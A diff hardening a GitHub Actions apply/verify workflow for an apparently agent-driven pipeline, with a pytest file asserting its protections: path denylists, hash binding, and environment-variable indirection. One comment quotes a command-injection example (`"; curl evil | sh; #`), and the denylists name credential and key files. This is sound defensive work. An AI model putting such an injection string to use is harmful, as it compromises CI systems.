+          # github-token is set: this job is credential-less and same-run only.
+          run-id: ${{ github.run_id }}
 
       - name: Verify diff integrity + trust-control denylist + scope
         id: verify
@@ -144,23 +162,32 @@ jobs:
           # an auto-reject; such a diff is escalated to mandatory human + GPT
           # cross-review, never auto-built (these are the mandatory-cross-review
           # surface regardless). Matched against canonicalized POSIX paths. ---
+          # INJ-03: UNION SUPERSET, IDENTICAL across all three trust-control
+          # copies (this guard inline list, the post-build inline list below, and
+          # agent_team.ci_gate.DENYLIST_GLOBS). test_apply_verify_workflow_hardening
+          # asserts the three are byte-for-byte equal so drift fails CI. Edit all
+          # three together.
           DENY_GLOBS: tuple[str, ...] = (
               ".github/workflows/**",
               ".github/actions/**",
+              ".github/CODEOWNERS",
               "**/CODEOWNERS",
               "CODEOWNERS",
               ".github/dependabot.yml",
               ".github/dependabot.yaml",
               ".github/settings.yml",
-              # IAM / policy / permission IaC (CDK / SAM / Terraform).
-              "**/template.yaml",
-              "**/template.yml",
-              "**/*.tf",
               "**/cdk.json",
+              "**/template.yml",
+              "**/template.yaml",
+              "**/samconfig.toml",
+              "**/*.tf",
               "**/*-stack.ts",
               "**/*_stack.py",
-              "**/policy*.json",
+              "**/iam/**",
+              "**/policies/**",
               "**/*iam*",
+              "**/policy*.json",
+              "**/*policy*.json",
               "**/*.pem",
               "**/*.key",
           )
@@ -341,6 +368,15 @@ jobs:
               expected = os.environ["EXPECTED_DIFF_HASH"].strip().lower()
               scope = [s for s in os.environ.get("DECLARED_SCOPE", "").splitlines() if s.strip()]
 
+              # FAIL-CLOSED on an empty/missing expected hash BEFORE comparing.
+              # The recomputed `actual` is always a real sha256, so an empty
+              # `expected` already mismatches and fails — but an explicit guard
+              # makes the empty == empty invariant impossible to regress (e.g. if
+              # the comparison is ever refactored) and gives a clearer ALARM.
+              if not expected:
+                  print("::error::empty/missing expected diff hash; refusing to bind (fail-closed)")
+                  return 2
+
               with open(diff_path, "rb") as fh:
                   raw = fh.read()
               actual = hashlib.sha256(raw).hexdigest()
@@ -410,7 +446,7 @@ jobs:
   # ───────────────────────────────────────────────────────────────────────────
   # JOB 2 — build-test (boundary 1). UNTRUSTED execution. This is the ONLY job
   # that applies + runs the patch. It is credential-less: contents:read only, no
-  # secrets, no OIDC, no write token, egress blocked. There is nothing here to
+  # secrets, no App token, no write token, egress blocked. There is nothing here to
   # steal and nothing to assume. It writes a report artifact consumed by the
   # privileged gate as DATA — that report is NOT authoritative (boundary 4).
   # Depends on `guard` so a denied/tampered diff never reaches execution.
@@ -454,6 +490,10 @@ jobs:
         with:
           name: ${{ inputs.diff_artifact_name }}
           path: ./_incoming
+          # Same-run pin as the guard job: the bytes applied here must be the
+          # bytes uploaded in THIS run, not an artifact substituted from another
+          # run. The pre-apply hash re-check below is the second layer.
+          run-id: ${{ github.run_id }}
 
       - name: Re-verify diff hash before apply (defense-in-depth)
         env:
@@ -492,6 +532,17 @@ jobs:
           # touch only this ephemeral runner.
           git apply --check ./_incoming/candidate.diff
           git apply ./_incoming/candidate.diff
+          # Commit the patched tree to a throwaway local commit so the working
+          # tree is CLEAN before the build runs. This is the baseline the
+          # post-build denied-path check diffs against: the guard job already
+          # vetted the candidate diff's paths, so by committing it we isolate
+          # whatever the BUILD HOOK itself writes (a malicious setup.py /
+          # conftest / build script that drops a file into a denied path). Local
+          # commit only — this job has no write credential, nothing is pushed.
+          git config user.email "agent-apply@local.invalid"
+          git config user.name "agent-apply build sandbox"
+          git add -A
+          git commit --quiet --no-verify -m "candidate diff (sandbox baseline)" || true
 
       - name: Set up Python
         uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5.3.0
@@ -513,16 +564,284 @@ jobs:
           ruff check . || echo "ruff non-zero (recorded, non-authoritative)"
           pytest -q || echo "pytest non-zero (recorded, non-authoritative)"
 
+      - name: Post-build denied-path check (build hook may not write the trust surface)
+        if: always()
+        env:
+          DECLARED_SCOPE: ${{ inputs.declared_scope }}
+        run: |
+          set -euo pipefail
+          # SECURITY (boundary 2, build-hook variant). The guard job vetted the
+          # candidate DIFF's paths, but a build/test hook (setup.py, a conftest,
+          # an npm postinstall, a Makefile) running in THIS untrusted job can
+          # ALSO write files — including into the trust-control surface or out of
+          # the declared scope. We committed the patched tree as the baseline
+          # above, so anything that differs now is build-hook output. We FAIL the
+          # job if any of it lands on a denied path or outside scope.
+          #
+          # FIX-2 / INJ-02: parse NUL-delimited, never newline-split. A malicious
+          # build hook can write a file whose name contains a tab/space/quote/
+          # NEWLINE; a `git status --porcelain | sed` + newline-split pipeline
+          # would either mangle or split such a name and let it evade the path
+          # match. So we emit machine-readable NUL-delimited records:
+          #   * `git status --porcelain=v1 -z --untracked-files=all` (each entry
+          #     is `XY <path>` and, for renames, `XY <new>\0<old>` — two NUL
+          #     fields), and
+          #   * `git diff -z --name-only HEAD` (NUL-separated tracked paths),
+          # and Python splits on NUL and parses rename entries explicitly. We also
+          # set `core.quotepath false` so git never C-quotes/escapes UTF-8 or
+          # special bytes in path output (belt-and-suspenders). No backslash
+          # mangling is done anywhere. A path that cannot be cleanly decoded is
+          # treated as a VIOLATION (fail closed).
+          git config core.quotepath false
+          git diff -z --name-only HEAD > ./_build_diff_z.bin || true
+          git status --porcelain=v1 -z --untracked-files=all > ./_build_status_z.bin || true
+          python3 - <<'PY'
+          from __future__ import annotations
+
+          import os
+          import posixpath
+          import re
+          import sys
+
+          # SAME denylist as the guard job + ci_gate.DENYLIST_GLOBS (boundary 2,
+          # INJ-03 union superset). All three are byte-for-byte identical and
+          # test_apply_verify_workflow_hardening asserts it; edit all three.
+          DENY_GLOBS: tuple[str, ...] = (
+              ".github/workflows/**",
+              ".github/actions/**",
+              ".github/CODEOWNERS",
+              "**/CODEOWNERS",
+              "CODEOWNERS",
+              ".github/dependabot.yml",
+              ".github/dependabot.yaml",
+              ".github/settings.yml",
+              "**/cdk.json",
+              "**/template.yml",
+              "**/template.yaml",
+              "**/samconfig.toml",
+              "**/*.tf",
+              "**/*-stack.ts",
+              "**/*_stack.py",
+              "**/iam/**",
+              "**/policies/**",
+              "**/*iam*",
+              "**/policy*.json",
+              "**/*policy*.json",
+              "**/*.pem",
+              "**/*.key",
+          )
+          _GLOB_META = set("*?[]")
+
+          def canonical(path: str) -> str:
+              # FIX-2 / INJ-02: paths come from `git -z` with core.quotepath=false,
+              # so they are RAW: real '/' separators and no C-quoting. We do NOT
+              # do `.replace("\\","/")` backslash mangling (a backslash is a literal
+              # filename byte here) and do NOT strip quotes (git did not add any).
+              # We only reject leading/trailing whitespace-only and escaping paths.
+              p = path
+              if not p:
+                  raise ValueError("empty path")
+              norm = posixpath.normpath(p)
+              if norm.startswith("/") or norm == ".." or norm.startswith("../"):
+                  raise ValueError(f"path escapes repo root: {path!r}")
+              return norm
+
+          def _glob_to_regex(glob: str) -> "re.Pattern[str]":
+              out: list[str] = []
+              i, n = 0, len(glob)
+              while i < n:
+                  if glob[i : i + 3] == "**/":
+                      out.append(r"(?:.*/)?")
+                      i += 3
+                  elif glob[i : i + 2] == "**":
+                      out.append(r".*")
+                      i += 2
+                  elif glob[i] == "*":
+                      out.append(r"[^/]*")
+                      i += 1
+                  elif glob[i] == "?":
+                      out.append(r"[^/]")
+                      i += 1
+                  else:
+                      out.append(re.escape(glob[i]))
+                      i += 1
+              return re.compile("^" + "".join(out) + "$", re.IGNORECASE)
+
+          _DENY_RES = tuple(_glob_to_regex(g) for g in DENY_GLOBS)
+
+          def denied(path: str) -> bool:
+              return any(p.match(path) for p in _DENY_RES)
+
+          def _scope_prefix(entry: str) -> str | None:
+              keep: list[str] = []
+              for part in entry.split("/"):
+                  if any(c in _GLOB_META for c in part):
+                      break
+                  keep.append(part)
+              prefix = "/".join(keep)
+              return prefix or None
+
+          def safe_scope(scope: list[str]) -> list[str]:
+              safe: list[str] = []
+              for g in scope:
+                  try:
+                      canon = canonical(g)
+                  except ValueError:
+                      continue
+                  prefix = _scope_prefix(canon)
+                  if prefix is not None and prefix not in safe:
+                      safe.append(prefix)
+              return safe
+
+          def in_scope(path: str, scope: list[str]) -> bool:
+              return any(path == e or path.startswith(e + "/") for e in scope)
+
+          def _read_z(path: str) -> list[bytes]:
+              """Read a NUL-delimited file into a list of byte records (no trailing empty)."""
+              try:
+                  with open(path, "rb") as fh:
+                      blob = fh.read()
+              except FileNotFoundError:
+                  return []
+              if not blob:
+                  return []
+              parts = blob.split(b"\x00")
+              if parts and parts[-1] == b"":
+                  parts.pop()
+              return parts
+
+          def _decode(field: bytes) -> str | None:
+              """Strictly decode a path field as UTF-8; None if it cannot be cleanly decoded."""
+              try:
+                  return field.decode("utf-8")
+              except UnicodeDecodeError:
+                  return None
+
+          def _diff_paths() -> tuple[list[str], list[bytes]]:
+              """`git diff -z --name-only` records: each NUL field is one path."""
+              ok: list[str] = []
+              bad: list[bytes] = []
+              for rec in _read_z("./_build_diff_z.bin"):
+                  dec = _decode(rec)
+                  (ok if dec is not None else bad).append(dec if dec is not None else rec)
+              return ok, bad
+
+          def _status_paths() -> tuple[list[str], list[bytes]]:
+              """Parse `git status --porcelain=v1 -z` records.
+
+              Each entry is `XY <path>`; a rename/copy (X or Y in R/C) is followed
+              by a SECOND field, the rename/copy SOURCE, in a separate NUL record.
+              We surface BOTH the destination and the source (a rename INTO or OUT
+              of a denied/out-of-scope path must be caught). A record whose path
+              field cannot be cleanly UTF-8 decoded is reported as a violation.
+              """
+              ok: list[str] = []
+              bad: list[bytes] = []
+              recs = _read_z("./_build_status_z.bin")
+              i = 0
+              while i < len(recs):
+                  rec = recs[i]
+                  # `XY ` is a 3-byte prefix: two status codes + a space.
+                  if len(rec) < 4:
+                      bad.append(rec)
+                      i += 1
+                      continue
+                  xy = rec[:2]
+                  body = rec[3:]
+                  dec = _decode(body)
+                  (ok if dec is not None else bad).append(dec if dec is not None else body)
+                  # Rename (R) / copy (C) in either index or worktree column carries
+                  # a following SOURCE field as its own record — consume + check it.
+                  if xy[0:1] in (b"R", b"C") or xy[1:2] in (b"R", b"C"):
+                      i += 1
+                      if i < len(recs):
+                          src = recs[i]
+                          sdec = _decode(src)
+                          (ok if sdec is not None else bad).append(
+                              sdec if sdec is not None else src
+                          )
+                  i += 1
+              return ok, bad
+
+          def main() -> int:
+              diff_ok, diff_bad = _diff_paths()
+              status_ok, status_bad = _status_paths()
+              raw_paths = sorted(set(diff_ok) | set(status_ok))
+              undecodable = diff_bad + status_bad
+
+              violations: list[str] = []
+              # FIX-2: a path that cannot be cleanly decoded is a VIOLATION (fail
+              # closed) — we never silently drop or lossily replace a build-written
+              # filename the path match cannot reason about.
+              for raw in undecodable:
+                  violations.append(
+                      f"build hook wrote an undecodable path: {raw!r}"
+                  )
+
+              if not raw_paths and not violations:
+                  print("post-build check: build hook wrote no files; clean")
+                  return 0
+
+              scope = safe_scope(
+                  [s for s in os.environ.get("DECLARED_SCOPE", "").splitlines() if s.strip()]
+              )
+
+              for raw in raw_paths:
+                  try:
+                      path = canonical(raw)
+                  except ValueError:
+                      violations.append(f"build hook wrote an escaping path: {raw!r}")
+                      continue
+                  if denied(path):
+                      violations.append(f"build hook wrote a trust-control path: {path}")
+                  elif scope and not in_scope(path, scope):
+                      violations.append(f"build hook wrote out of declared scope: {path}")
+
+              if violations:
+                  for v in violations:
+                      print(f"::error::{v}")
+                  print("::error::build hook wrote a denied/out-of-scope path; failing job")
+                  return 1
+              print(f"post-build check: {len(raw_paths)} build-written path(s); all clean")
+              return 0
+
+          sys.exit(main())
+          PY
+
       - name: Emit non-authoritative report (job conclusion is the truth)
         if: always()
+        env:
+          # CWE-94 env-indirection. `inputs.task_id` is attacker-influenceable
+          # (the dispatcher passes it from task state) and GitHub expands every
+          # `${{ }}` into the shell SCRIPT TEXT before the shell runs — so a
+          # value like `"; curl evil | sh; #` would be interpolated as code and
+          # `%s`/quoting in printf would NOT stop it. Binding it to an env var
+          # and referencing it as a quoted shell variable ("$TASK_ID") means the
+          # shell sees it as DATA, never as script. python's json.dumps then
+          # encodes it safely into the report.
+          TASK_ID: ${{ inputs.task_id }}
         run: |
           set -euo pipefail
           # This report is consumed by the gate as DATA for the verifier agent's
           # next-fix reasoning. It is NOT the pass/fail decision — the gate reads
           # the AUTHENTICATED job conclusion (boundary 4), never this file.
           mkdir -p ./_report
-          printf '{"task_id":"%s","note":"non-authoritative; gate uses job conclusion"}\n' \
+          # Build the JSON with python's json encoder (reads TASK_ID from the
-            "${{ inputs.task_id }}" > ./_report/report.json
+          # environment) so the untrusted task_id cannot break out of the string
+          # or inject JSON structure.
+          python3 - <<'PY' > ./_report/report.json
+          import json
+          import os
+
+          print(
+              json.dumps(
+                  {
+                      "task_id": os.environ["TASK_ID"],
+                      "note": "non-authoritative; gate uses job conclusion",
+                  }
+              )
+          )
+          PY
 
       - name: Upload non-authoritative report
         if: always()
@@ -539,33 +858,74 @@ jobs:
   # keyed to this run, and only on a clean pass opens a DRAFT PR. It never trusts
   # any artifact the patch wrote. Pass/fail is pure code here, not the LLM.
   #
-  # NOTE: the OIDC/write grant is declared here as the eventual home of the
+  # AUTH (LOCKED): the privileged write here is a GitHub App INSTALLATION TOKEN
-  # privileged step, but this file is deploy-gated — the `id-token`/PR-open
+  # with `pull-requests: write` — ZERO cloud credentials, no token-federation.
-  # step is left as a documented placeholder so nothing is provisioned until the
+  # The token is minted at run
-  # §3.3.2 review gates pass. Wiring the real OIDC role is Phase P3 / Phase 5
+  # time by actions/create-github-app-token (SHA-pinned) from the App id +
-  # AFTER the mandatory GPT-4.1 cross-review of the IAM.
+  # private key held as repo/org secrets, and is scoped to exactly the grant the
+  # App installation has. The required HUMAN reviewer that must approve before
+  # this job's `environment` runs is configured on the `agent-apply` GitHub
+  # Environment at PROVISIONING (it cannot be expressed in YAML — see the
+  # provisioning runbook). This job NEVER checks out or executes patch code: it
+  # reads the AUTHENTICATED needs.*.result conclusions, and only on a clean pass
+  # opens a DRAFT PR. The draft-PR step stays hard-disabled (`if: ${{ false }}`)
+  # until provisioning creates the App + environment + branch protection; the
+  # flip is the single remaining provisioning action.
   # ───────────────────────────────────────────────────────────────────────────
   gate-and-pr:
     needs: [guard, build-test]
-    # `always()` so the gate runs even when build-test failed, to record the
+    # Defense-in-depth: the privileged job NEVER runs on a failed/skipped/
-    # authoritative conclusion. The gate itself decides pass/fail from results.
+    # cancelled guard or build-test. We still want it to run on a build-test
-    if: always()
+    # FAILURE only to record the authoritative conclusion — but until
+    # provisioning this job holds ZERO privilege and does ZERO privileged work
+    # (the gate is pure-code, the token + draft-PR steps are `if: ${{ false }}`),
+    # so gating on both upstream jobs succeeding is the safe posture: a test
+    # dispatch today runs only the credential-less guard + build-test. At
+    # provisioning, revisit whether to relax to `always()` to record failures.
+    if: always() && needs.guard.result == 'success' && needs.build-test.result == 'success'
     runs-on: ubuntu-latest
     timeout-minutes: 5
+    # PROVISIONING-TIME PRIVILEGE (BLOCK-1 / FIX-4 / QUESTION-2). Privileged
+    # declarations must be PROVISIONING-time, not live: an `environment:` that
+    # does not exist yet and a `pull-requests: write` grant are unprotected holes
+    # if declared before the `agent-apply` environment (with its required
+    # reviewer) is created. So both stay COMMENTED here — the exact deploy-gated
+    # pattern the removed cloud token-federation grant used — and are uncommented
+    # at provisioning AFTER the environment exists. Today this job is
+    # credential-less and runs ONLY the pure-code gate.
+    #
+    # The `agent-apply` GitHub Environment is the human-gate home: its REQUIRED
+    # REVIEWER (and optional wait timer / branch policy) is configured on the
+    # Environment at PROVISIONING — GitHub holds the job here until a human
+    # approves. This cannot be authored in YAML; the `environment:` reference is
+    # the hook the provisioning step attaches the reviewer to.
+    # environment:                  # uncomment at provisioning AFTER the agent-apply environment is created with a required reviewer
+    #   name: agent-apply           # uncomment at provisioning AFTER the agent-apply environment is created with a required reviewer
     permissions:
       contents: read
-      # pull-requests: write    # ← enabled ONLY after the §3.3.2 review gates.
+      # uncomment at provisioning AFTER the agent-apply environment is created with a required reviewer
-      # id-token: write         # ← OIDC for the Option-B apply role, post-gate.
+      # The ONLY privileged grant: open a draft PR. Kept COMMENTED until
+      # provisioning so the job holds ZERO privilege on a test dispatch today;
+      # the draft-PR + app-token STEPS also stay `if: ${{ false }}` until then.
+      # pull-requests: write
+      # NOTE: there is deliberately NO token-federation permission here — this
+      # workflow uses a GitHub App installation token only, no cloud provider.
     steps:
       - name: Harden runner (privileged job; block egress)
         uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2
         with:
+          # DEPLOY: this allowlist is GitHub API only (App-token mint + gh pr
+          # create). Trim/confirm per target repo at provisioning — an
+          # over-broad allowlist weakens the egress boundary even on the
+          # privileged job. No cloud endpoints: the auth model is a GitHub App
+          # token only, with no cloud token-federation.
           egress-policy: block
           allowed-endpoints: >
             github.com:443
             api.github.com:443
 
       - name: Pure-code pass/fail gate over authenticated results
+        id: gate
         env:
           # These come from GitHub's job orchestration, NOT from the patch.
           GUARD_RESULT: ${{ needs.guard.result }}
@@ -604,7 +964,19 @@ jobs:
               """
               if not run_id:
                   return False, "missing run id; cannot bind decision to a run"
-              if diff_hash.strip().lower() != expected_hash.strip().lower():
+              # FAIL-CLOSED on an empty/missing hash. Without this guard an empty
+              # guard-exported hash AND an empty expected hash compare equal
+              # ('' == ''), so a run where the hash binding never populated would
+              # SILENTLY satisfy the binding check — empty must never count as a
+              # match. Require both sides present (and equal) before binding holds.
+              g = diff_hash.strip().lower()
+              e = expected_hash.strip().lower()
+              if not g or not e:
+                  return False, (
+                      "empty/missing hash; refusing to bind "
+                      f"(guard={diff_hash!r} expected={expected_hash!r})"
+                  )
+              if g != e:
                   return False, f"hash binding broken: guard={diff_hash} expected={expected_hash}"
               if guard_result != "success":
                   return False, f"guard did not pass: {guard_result!r}"
@@ -632,10 +1004,69 @@ jobs:
           sys.exit(main())
           PY
 
-      - name: Open DRAFT PR (DEPLOY-GATED PLACEHOLDER — not enabled)
+      - name: "Mint GitHub App installation token (pull-requests write only)"
-        if: ${{ false }} # ← hard-disabled. Enable only after §3.3.2 review gates.
+        id: app-token
+        # Hard-disabled with the draft-PR step until provisioning: minting a
+        # token against an App that does not exist yet would fail, and there is
+        # nothing to do with it while the PR step is off. The condition is the
+        # SAME target as the draft-PR step so the two flip together.
+        if: ${{ false }} # ← flip with the draft-PR step at provisioning (see below).
+        uses: actions/create-github-app-token@5d869da34e18e7287c1daad50e0b8ea0f506ce69 # v1.11.0
+        with:
+          # PROVISIONING: create the GitHub App (single permission:
+          # `pull-requests: write`), install it on the target repo, and store
+          # its id + private key as these secrets. The minted token is scoped to
+          # exactly the App installation's grant — narrower than a PAT, and it
+          # auto-expires (~1h). No cloud credentials, no token-federation.
+          app-id: ${{ secrets.AGENT_APPLY_APP_ID }}
+          private-key: ${{ secrets.AGENT_APPLY_APP_PRIVATE_KEY }}
+
+      - name: Open DRAFT PR (DEPLOY-GATED — flip at provisioning only)
+        # belt-and-suspenders: even once flipped, the draft PR opens ONLY on a
+        # clean authenticated pass. Target condition for the provisioning flip:
+        #
+        #   if: >-
+        #     always()
+        #     && needs.guard.result == 'success'
+        #     && needs.build-test.result == 'success'
+        #     && steps.gate.outputs.gate == 'pass'
+        #
+        # Flip to that condition ONLY after the `agent-apply` environment + the
+        # GitHub App are provisioned and branch protection is in place (see the
+        # provisioning runbook). Flipping live against a non-existent environment
+        # is an unprotected hole, so it stays `${{ false }}` here.
+        if: ${{ false }} # ← hard-disabled until provisioning (see comment above).
+        env:
+          # The App installation token (pull-requests: write). gh reads it from
+          # GH_TOKEN. Untrusted values used below are env-indirected (CWE-94).
+          GH_TOKEN: ${{ steps.app-token.outputs.token }}
+          TASK_ID: ${{ inputs.task_id }}
+          DIFF_HASH: ${{ needs.guard.outputs.diff_hash }}
+          # The repo the PR is opened in (the App installation's repo).
+          GH_REPO: ${{ github.repository }}
         run: |
-          echo "Draft-PR open runs here AFTER the mandatory GPT-4.1 cross-review"
+          set -euo pipefail
-          echo "+ /sh-security-review of this workflow and its OIDC role."
+          # Draft PR ONLY; never auto-merge (D2). Branch protection + the
-          echo "Draft PR only; never auto-merge (D2). Branch protection is the"
+          # required reviewer on the agent-apply environment + the security
-          echo "final enforcement (boundary 5)."
+          # review + the Claude Code App review are the final enforcement
+          # (boundary 5). The agent NEVER merges. task_id / diff_hash are read
+          # from the environment (not interpolated into this script) so an
+          # untrusted task_id cannot inject shell.
+          #
+          # NOTE: the dispatcher records the agent branch name in the ledger and
+          # passes it in at provisioning; the branch is created by the trusted
+          # apply path (the box has no write token, D2), so this step only OPENS
+          # the PR for an already-pushed agent branch. Wire `--head` to that
+          # branch input at provisioning.
+          # NIT-2: build BOTH title and body with `printf '%s'` over the
+          # env-indirected vars (no `${TASK_ID}` shell interpolation in one and
+          # printf in the other) so the two are consistent and the untrusted
+          # values are only ever consumed as printf data.
+          title="$(printf 'agent-apply: %s (diff %s)' "$TASK_ID" "$DIFF_HASH")"
+          body="$(printf 'Automated draft PR from the agent-team apply/verify pipeline.\n\nTask: %s\nDiff hash: %s\n\nDRAFT ONLY — never auto-merged. Requires: green required checks, security review, Claude Code App review, and human approval (D2, boundary 5).' "$TASK_ID" "$DIFF_HASH")"
+          gh pr create \
+            --draft \
+            --title "$title" \
+            --body "$body" \
+            --base main
+          echo "draft PR opened (task=$TASK_ID); never auto-merged."

agent-team/tests/test_apply_verify_workflow_hardening.py

@@ -0,0 +1,411 @@
+"""P3-live hardening assertions over ``ci/agent-team-apply-verify.yml``.
+
+These tests pin the security-critical posture of the apply/verify workflow so a
+later edit cannot silently regress it:
+
+* NO attacker-influenceable ``${{ inputs.* }}`` / ``${{ github.event.* }}`` value
+  is interpolated directly into a ``run:`` block (CWE-94) — every such value must
+  reach a ``run`` step via an ``env:`` binding instead.
+* The workflow carries NO cloud token-federation (``id-token``) and NO AWS /
+  cloud-OIDC references — the auth model is a GitHub App installation token.
+* The privileged draft-PR step is NOT flipped live (``if: ${{ false }}``).
+* The privileged job's ``pull-requests: write`` grant and ``agent-apply``
+  ``environment:`` are COMMENTED OUT (provisioning-time, not live), and the job
+  ``if:`` guards on guard+build-test success; download-artifact steps are
+  run-id pinned.
+* The embedded gate's empty-hash handling is fail-closed (extracted + executed).
+* The three trust-control denylists (guard YAML, post-build YAML, ci_gate) are
+  identical (no drift), and the post-build NUL-delimited path parsing is robust.
+"""
+
+from __future__ import annotations
+
+import re
+import subprocess
+import sys
+from pathlib import Path
+
+import pytest
+
+yaml = pytest.importorskip("yaml")
+
+_WORKFLOW = Path(__file__).resolve().parents[1] / "ci" / "agent-team-apply-verify.yml"
+
+
+def _doc() -> dict:
+    return yaml.safe_load(_WORKFLOW.read_text(encoding="utf-8"))
+
+
+def _raw() -> str:
+    return _WORKFLOW.read_text(encoding="utf-8")
+
+
+# Attacker-influenceable interpolation contexts that must NOT appear in a `run:`.
+_TAINTED_RE = re.compile(r"\$\{\{\s*(inputs\.|github\.event\.)")
+
+
+def _iter_steps(doc: dict):
+    for job_name, job in doc["jobs"].items():
+        for step in job.get("steps", []):
+            yield job_name, step
+
+
+# --------------------------------------------------------------------------- #
+# CWE-94: no tainted ${{ }} interpolated directly into a run: block
+# --------------------------------------------------------------------------- #
+
+
+def test_no_tainted_interpolation_in_any_run_block() -> None:
+    offenders: list[str] = []
+    for job_name, step in _iter_steps(_doc()):
+        run = step.get("run")
+        if not run:
+            continue
+        if _TAINTED_RE.search(run):
+            offenders.append(f"{job_name}: {step.get('name', '<unnamed>')}")
+    assert not offenders, (
+        "tainted ${{ inputs.* / github.event.* }} interpolated into a run block "
+        f"(must go via env:): {offenders}"
+    )
+
+
+def test_tainted_values_are_provided_via_env() -> None:
+    # Where a run step USES a tainted value, it must be exposed through env: and
+    # referenced as a shell variable. Assert the report step binds TASK_ID in env.
+    doc = _doc()
+    report_steps = [
+        s
+        for _, s in _iter_steps(doc)
+        if s.get("run") and "report.json" in (s.get("run") or "")
+    ]
+    assert report_steps, "expected the report-emitting step to exist"
+    for step in report_steps:
+        env = step.get("env") or {}
+        assert "TASK_ID" in env, "report step must bind task_id via env (CWE-94)"
+        assert "${{ inputs.task_id }}" in env["TASK_ID"]
+        # And the run body must NOT interpolate inputs.task_id directly.
+        assert "${{ inputs.task_id }}" not in step["run"]
+
+
+# --------------------------------------------------------------------------- #
+# Auth model: GitHub App token, ZERO cloud federation / AWS / OIDC
+# --------------------------------------------------------------------------- #
+
+
+def test_no_id_token_permission_anywhere() -> None:
+    doc = _doc()
+    for job_name, job in doc["jobs"].items():
+        perms = job.get("permissions")
+        if isinstance(perms, dict):
+            assert "id-token" not in perms, f"{job_name} must not grant id-token"
+
+
+def test_no_cloud_oidc_or_aws_references_in_workflow() -> None:
+    raw = _raw().lower()
+    for needle in ("id-token", "configure-aws-credentials", "aws-actions", "oidc"):
+        assert needle not in raw, f"workflow must not reference {needle!r}"
+    # Bare 'aws' as a standalone token (avoid matching words like 'always').
+    assert not re.search(r"\baws\b", raw), "workflow must not reference AWS"
+
+
+def test_uses_github_app_token_action() -> None:
+    raw = _raw()
+    assert "actions/create-github-app-token@" in raw
+    # Pinned by full 40-char SHA (handbook Pinning Principle).
+    assert re.search(r"actions/create-github-app-token@[0-9a-f]{40}\b", raw), (
+        "create-github-app-token must be SHA-pinned"
+    )
+
+
+# --------------------------------------------------------------------------- #
+# Draft-PR step is NOT flipped live; privileged job posture
+# --------------------------------------------------------------------------- #
+
+
+def test_draft_pr_step_is_not_flipped_live() -> None:
+    doc = _doc()
+    pr_steps = [
+        s
+        for _, s in _iter_steps(doc)
+        if "draft" in (s.get("name", "").lower()) and s.get("run")
+    ]
+    assert pr_steps, "expected a draft-PR step"
+    for step in pr_steps:
+        # YAML parses `${{ false }}` to the string '${{ false }}' OR bool False
+        # depending on quoting; both mean "disabled". Assert it is one of those,
+        # never an always()/success() live condition.
+        cond = step.get("if")
+        assert cond is not None, "draft-PR step must keep an explicit if-guard"
+        assert str(cond).strip().startswith("${{ false }}") or cond is False, (
+            f"draft-PR step must stay hard-disabled, got if: {cond!r}"
+        )
+
+
+def test_gate_job_privileged_declarations_are_commented_until_provisioning() -> None:
+    # BLOCK-1 / FIX-4 / QUESTION-2: privileged declarations must be
+    # provisioning-time, not live. `pull-requests: write` and `environment:` are
+    # both COMMENTED OUT until the agent-apply environment exists, so a test
+    # dispatch today holds ZERO privilege. Assert the live job declares neither.
+    job = _doc()["jobs"]["gate-and-pr"]
+    perms = job.get("permissions") or {}
+    # contents: read stays active; pull-requests must NOT be granted live.
+    assert perms.get("contents") == "read"
+    assert "pull-requests" not in perms, (
+        "pull-requests: write must stay commented until provisioning"
+    )
+    # No live environment binding.
+    assert job.get("environment") is None, (
+        "environment: must stay commented until provisioning"
+    )
+
+
+def test_gate_job_provisioning_lines_are_present_as_comments() -> None:
+    # The exact deploy-gated scaffolding must remain in the file (commented) with
+    # the provisioning marker, so provisioning knows what to uncomment.
+    raw = _raw()
+    assert "# pull-requests: write" in raw
+    assert "# environment:" in raw
+    assert "#   name: agent-apply" in raw
+    assert (
+        raw.count(
+            "uncomment at provisioning AFTER the agent-apply environment is created "
+            "with a required reviewer"
+        )
+        >= 2
+    )
+
+
+def test_gate_job_if_guards_on_upstream_success() -> None:
+    # Defense-in-depth: the privileged job never runs on a failed/skipped/
+    # cancelled guard or build-test.
+    job = _doc()["jobs"]["gate-and-pr"]
+    cond = str(job.get("if", ""))
+    assert "needs.guard.result == 'success'" in cond
+    assert "needs.build-test.result == 'success'" in cond
+
+
+def test_download_artifact_steps_are_run_id_pinned() -> None:
+    doc = _doc()
+    dl_steps = [
+        s for _, s in _iter_steps(doc) if "download-artifact" in str(s.get("uses", ""))
+    ]
+    assert len(dl_steps) >= 2, "expected both download-artifact steps"
+    for step in dl_steps:
+        with_ = step.get("with") or {}
+        assert with_.get("run-id") == "${{ github.run_id }}", (
+            "download-artifact must pin run-id to the current run"
+        )
+
+
+def test_post_build_denied_path_check_present() -> None:
+    job = _doc()["jobs"]["build-test"]
+    names = [s.get("name", "") for s in job.get("steps", [])]
+    assert any("denied-path" in n.lower() for n in names), (
+        "build-test must run a post-build denied-path check"
+    )
+
+
+# --------------------------------------------------------------------------- #
+# Embedded gate empty-hash fail-closed (extract + execute the inline gate)
+# --------------------------------------------------------------------------- #
+
+
+def _extract_gate_script() -> str:
+    """Pull the LAST ``python3 - <<'PY' ... PY`` heredoc (the pure-code gate)."""
+    lines = _raw().splitlines()
+    blocks: list[tuple[int, int]] = []
+    start = None
+    for i, line in enumerate(lines):
+        if start is None and line.strip() == "python3 - <<'PY'":
+            start = i + 1
+        elif start is not None and line.strip() == "PY":
+            blocks.append((start, i))
+            start = None
+    assert blocks, "no PY heredoc found"
+    # The gate is the one defining `def gate(`.
+    for s, e in blocks:
+        body = lines[s:e]
+        text = "\n".join(ln[10:] if ln.startswith(" " * 10) else ln for ln in body)
+        if "def gate(" in text:
+            return text
+    raise AssertionError("gate heredoc not found")
+
+
+def _run_gate(tmp_path: Path, env_overrides: dict) -> int:
+    script = tmp_path / "gate.py"
+    script.write_text(_extract_gate_script(), encoding="utf-8")
+    import os
+
+    env = dict(os.environ, **{k: str(v) for k, v in env_overrides.items()})
+    result = subprocess.run(
+        [sys.executable, str(script)], env=env, capture_output=True, text=True
+    )
+    return result.returncode
+
+
+_GOOD = {
+    "GUARD_RESULT": "success",
+    "BUILD_TEST_RESULT": "success",
+    "DIFF_HASH": "abc",
+    "EXPECTED_DIFF_HASH": "abc",
+    "RUN_ID": "1",
+}
+
+
+def test_workflow_gate_passes_on_clean_bound_run(tmp_path: Path) -> None:
+    assert _run_gate(tmp_path, _GOOD) == 0
+
+
